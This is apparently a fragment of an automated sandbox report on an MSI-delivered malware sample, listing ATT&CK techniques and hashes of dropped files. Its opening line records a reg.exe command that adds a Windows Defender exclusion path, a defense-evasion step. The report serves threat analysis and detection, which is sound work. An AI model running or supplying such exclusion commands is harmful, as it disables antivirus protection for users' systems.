C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:6036
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Persistence
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e599eb8.rbs
- Size 7KB
- SHA256 283d114102dcbeb7c973e31fade45d47537eb51a30568ca099cb4b63010efd6a
- MD5 eaf926b3d431e3847a885997cc289179
- SHA1 9f6adb78ae207d99063b4f90cb7bca426b0583d2
- SHA512 b7289edb1e82537200fb653a2af61a01d2e9324f60f409ff3ba3a5e5f413d3b03543e38ed2ab65c496df40e04aa2aa96b5639cffafc5aa66e4f6d9a51347bd02
- SSDEEP 96:AhwguT7RCTPoPaUUT61CsThq5UT61C6joXPxtThqxH6S5ivW1EVACKpljWu48jBH:AeCTz+IIX+Ib8kZKpt
- TLSH T196F1FC42AB0096F3EF861B75C713176637B2E3D89320174F099D88605F5638C6E9A29F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\5q9jFb\UxEnhance64.dll
- Size 3.1MB
- SHA256 f0965d8025c7af39aea0e1ce50bf8b68ce6c6729e4a2df2159fbc442ba110d12
- MD5 c228a95c6ba78870db59c8b19ba5dd4b
- SHA1 1497a9f0dff696a2b52ea2a30bb7d6c58a65e8e4
- SHA512 f7c6980dab35a76b02c0a69a10d989cdd724b64b81d9f34325ac59b32c0af8f6eb27c20d94b0089d535ab7632387385aa109a9637aa88d1d476c65cc9a0022ed
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+B:P9m29xx3Tiqt06ox6+z2rNNrKoB
- TLSH T108E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\5q9jFb\adoresd.dat
- Size 4.7MB
- SHA256 aec865cb9e10de117c04a4ef7c6e6277eb5372a65c02ab776030b582c1243d5f
- MD5 de49f68157550ff2896464ad6cf7627f
- SHA1 42b10fdbc7c6fa9f24aafa610b65e6988b7b194b
- SHA512 be964809a5fb4e7f2c41476745f772c8f8a283d31f713158f7d0d9dc2a85c73b9be9922d4ad5445cb261592bad8b2c181bea1d678150bd857118488a115e8730
- SSDEEP 98304:nmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:mu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T18B3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\5q9jFb\jsMk9G.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\5q9jFb\msadox.tb
- Size 8KB
- SHA256 eeccbaa9d8ff3f2839eb326cd0ad17661b334b58fb715a674c2ed3e3f1071027
- MD5 245e068a397cc031a331ede5cb62a2fa
- SHA1 bb089067f0682ee49859c9791cc63f4f42f423de
- SHA512 ab92e817ee89584e379aad898805d7ea85762fe2f3ac8ac58df33265b172ae74a5698bf9782134331e1e970566c4b7ca065bf14463b0e95229d6e1448039e1a2
- SSDEEP 192:fqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:fsZqZOXQ3uqvR2Kfzp
- TLSH T1BD029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIA3F8.tmp
- Size 5.3MB
- SHA256 1a4f8a2bf676e661da58a8a93557915da3342d585fccee8e6156822a09f2e95f
- MD5 895948116b09769416d78e094281467b
- SHA1 867f4a190d56c8085f53f721ce353dfdad271e43
- SHA512 eb096b50853bab140051ce5e00c76038565c4e4734b2adfb81eb43d62918298a9420dbe4b1191e5a7c5d33eaec8707b3531e533dfd79a24057bba5dc3601f24e
- SSDEEP 98304:fK06r4V6fscocNT2vxvxqgw182B95xEh7am+eAtYP/fHLPscibhuOjg9H2GIb:f4r4V6fhT2vu9182B9wTbAtsfr4htjg2
- TLSH T1314633C969CD3B34E45BC7B142027AAEF5AD77C49DB68C0637ED321C6E3294A9432709
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e599eb7.msi
- Size 5.4MB
- SHA256 8ed26dbeb6f8e76dd6718076d217c4fa4347542ed0d08b0b9380aefc415f3c32
- MD5 0aa9ea42f6e5b63ec1f769eeb1fcd67d
- SHA1 d5af2d3e64d876a5cc2abf04aa918d194eaf8936
- SHA512 a9ce046d1d5b3d2a41753c457f50c36de39176b7549077fa49a83ac05be9c520f0b698e4a73c93e92441c5b41a7ee85fea7ce09ca177bc429d5af45e81759e29
- SSDEEP 98304:PK06r4V6fscocNT2vxvxqgw182B95xEh7am+eAtYP/fH/PscibhuOjg9H2GIK:P4r4V6fhT2vu9182B9wTbAtsff4htjgV
- TLSH T1384633C979C93B35D45BC7B142027AAEF66D7FC49EA28C0237ED321C6E329599432718
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 405da20868314e561529c3e92d3d54066cb860efcb36c7505b18de5dc08e7f9b
- MD5 88c6b6ab16e100a3cc229a7ac66f5dc2
- SHA1 90e4f554afdf185ef1a07cffe2684695c9c74352
- SHA512 aa39d9dd879a654fb73150e1f11dd35453339cd688d3b9172797829842ea7f2e78d6cfbcde30ed1241c6c77c14054b4028de5fe0a6460385eafd3c73205736c7
- SSDEEP 24576:5Fo3DMPgdoO/vvTL/yAQQiVQfL+a77XDkNmSdNe4mlea53hg8YxWA5KRE+a:sHY
- TLSH T16C57E42436F92111E7F79E3CA8F06A274D397D979C19DE8D05811B4E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c4492839-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f2ba8993-375f-4889-83fe-8aec7998a235}_OnDiskSnapshotProp
- Size 6KB
- SHA256 034bec6f52243bf42c1beff6046fa3e78bccfffdd274297928b5208df91fa82c
- MD5 c8f9a19d22498193405967107f5b8c51
- SHA1 8253aa6c7ba629738d298ad626732cfd97085800
- SHA512 69c2ed25dacaf960e7c3674c14afff1cc0449f884a3cbc84fda68593a0b56d523e954e60f8fc0aa394d27f455fdfca4a8eae067729963f2c0ea5f96ce1d83193
- SSDEEP 96:FYMcNvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:Gnb++uVmN
- TLSH T166D187185AE54711E2B3AB3129F18557A837B951EF33CB8E0198238E6621A10F935F6F
- MD5 SHA1 SHA512 SSDEEP TLSH